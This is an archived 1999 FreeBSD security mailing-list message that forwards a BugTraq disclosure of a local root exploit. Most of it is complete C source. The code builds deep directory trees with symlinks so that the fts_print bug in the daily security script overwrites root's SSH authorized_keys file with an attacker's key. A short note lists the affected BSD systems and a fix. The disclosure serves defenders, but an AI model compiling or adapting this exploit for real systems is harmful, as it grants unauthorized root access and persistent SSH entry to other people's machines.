Date: Thu, 26 Aug 1999 09:49:10 -0700 From: Gregory Sutter <gsutter@pobox.com> To: security-officer@freebsd.org Cc: freebsd-security@freebsd.org Subject: [secure@FREEBSD.LUBLIN.PL: FreeBSD (and other BSDs?) local root explot] Message-ID: <19990826094910.F20512@forty-two.egroups.net>
next in thread | raw e-mail | index | archive | help
This claims to describe a FreeBSD root exploit, and was just posted to BugTraq. ----- Forwarded message from Przemyslaw Frasunek <secure@FREEBSD.LUBLIN.PL> ----- Message-ID: <XFMail.990824234705.secure@FreeBSD.lublin.pl> Date: Tue, 24 Aug 1999 23:47:05 +0200 Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Przemyslaw Frasunek <secure@FREEBSD.LUBLIN.PL> Subject: FreeBSD (and other BSDs?) local root explot Content-Type: application/pgp; format=text; x-action=sign -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 /* (c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl> bug in fts_print function allows to overwrite any file in system, when running /etc/security script (executed from 'daily' scripts). affected systems: - freebsd (all versions) - probably openbsd/netbsd fix: - limit root's coredump size - patch libc */ #include <stdio.h> #include <errno.h> #include <sys/stat.h> #include <strings.h> #include <unistd.h> #define STRING "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n" #define FILE "/root/.ssh/authorized_keys" #define CORE "find.core" #define DEPTH 300 #define BUFSIZE 250 int makedir(dir, linkfrom, linkto) char *dir, *linkfrom, *linkto; { if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO))) return -1; if (chdir(dir)) return -1; if (symlink(linkfrom, linkto) < 0) return -1; return 0; } int main(argc, argv) int argc; char **argv; { int i = 0; char pid[10], buf[BUFSIZE]; sprintf(pid, "%d", getpid()); if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO))) { perror("mkdir()"); return -1; } if (chdir(pid)) { perror("chdir()"); return -1; } bzero(buf, BUFSIZE); memset(buf, 0x41, BUFSIZE-1); for(i=0;i<DEPTH;i++) { if (makedir(STRING, FILE, CORE) < 0) { perror("makedir()"); return -1; } if(makedir(buf, FILE, CORE) < 0) { perror("makedir()"); return -1; } } return 0; } - --- * Fido: 2:480/124 ** WWW: FreeBSD.lublin.pl/~venglin ** GSM: +48-601-383657 * * Inet: venglin@FreeBSD.lublin.pl ** PGP: D48684904685DF43 EA93AFA13BE170BF * -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQA/AwUBN8MS2P6SPyHAYTvjEQLK5ACfZ1cVpjGzqIF3bTsIX/wrahJOqy4AoOEx JkgnTo+Dk3QUFGT2bZdmxx9S =Tyvh -----END PGP SIGNATURE----- ----- End forwarded message ----- -- Gregory S. Sutter Was Jimi's modem a Purple Hayes? mailto:gsutter@pobox.com http://www.pobox.com/~gsutter/ PGP DSS public key 0x40AE3052 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?19990826094910.F20512>